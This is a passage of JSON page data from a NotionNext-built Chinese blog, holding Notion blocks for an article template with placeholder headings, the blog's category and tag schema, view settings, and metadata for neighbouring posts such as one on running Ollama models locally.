"value":{"id":"4f888598-436f-45ae-8798-cc8ab24c09c9","type":"text","format":{"copied_from_pointer":{"id":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2"}},"b695537b-33d7-4ddd-a1e0-44bf5b40f53f":{"value":{"id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"6a2e864c-2508-464c-9afe-118d1e557294","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"6a2e864c-2508-464c-9afe-118d1e557294"}},"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d":{"value":{"id":"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337154,"last_edited_time":1705594337154,"parent_id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","parent_table":"block","alive":true,"copied_from":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed"}},"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60":{"value":{"id":"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","type":"text","format":{"copied_from_pointer":{"id":"eb6f2991-c619-4351-8886-c158f8d72ca5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"eb6f2991-c619-4351-8886-c158f8d72ca5"}},"45def727-02f6-4deb-83a9-69b7b266ee4d":{"value":{"id":"45def727-02f6-4deb-83a9-69b7b266ee4d","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"b7341d91-76b8-46b5-825a-de5f585d4b99","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b7341d91-76b8-46b5-825a-de5f585d4b99"}},"6316fbc9-d6ed-4f69-af61-a4d2259d9111":{"value":{"id":"6316fbc9-d6ed-4f69-af61-a4d2259d9111","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"64a86efd-2caa-4ca0-ba43-ed852b132802","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"64a86efd-2caa-4ca0-ba43-ed852b132802"}},"4009c235-486f-46e0-853a-fe8181429f05":{"value":{"id":"4009c235-486f-46e0-853a-fe8181429f05","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"7e1007d7-d850-4848-a758-1727cf2e6066","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7e1007d7-d850-4848-a758-1727cf2e6066"}},"bf80f998-7dbb-4ecb-8327-baa30c18b6d1":{"value":{"id":"bf80f998-7dbb-4ecb-8327-baa30c18b6d1","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af"}},"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94":{"value":{"id":"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564"}},"4f1a0b85-c149-433d-b3c9-b7f926541529":{"value":{"id":"4f1a0b85-c149-433d-b3c9-b7f926541529","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"b1cb1aa0-4990-4882-a640-50ff4d1c0610","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b1cb1aa0-4990-4882-a640-50ff4d1c0610"}},"4af440a2-cb6b-448c-8e5c-346fa88279c7":{"value":{"id":"4af440a2-cb6b-448c-8e5c-346fa88279c7","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d"}},"c76d05b0-646b-494b-92ea-d9136d82500e":{"value":{"id":"c76d05b0-646b-494b-92ea-d9136d82500e","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e"}},"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1":{"value":{"id":"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"68e507f5-3618-496f-b9cd-d47ee8b8e356","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"68e507f5-3618-496f-b9cd-d47ee8b8e356"}},"13404196-5553-4065-89fd-844340054d07":{"value":{"id":"13404196-5553-4065-89fd-844340054d07","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"a9118aeb-349d-474e-a4ff-ff3190383328","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a9118aeb-349d-474e-a4ff-ff3190383328"}},"39ceea91-795b-42c2-b94d-0f61dd710407":{"value":{"id":"39ceea91-795b-42c2-b94d-0f61dd710407","type":"text","format":{"copied_from_pointer":{"id":"a58c8f9b-995f-406d-bdc8-ed2dab45a598","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a58c8f9b-995f-406d-bdc8-ed2dab45a598"}},"66839f7d-30bf-4925-89d5-b88afac3db8c":{"value":{"id":"66839f7d-30bf-4925-89d5-b88afac3db8c","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"a6c9899f-912f-4400-adbc-a8f49228e160","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a6c9899f-912f-4400-adbc-a8f49228e160"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 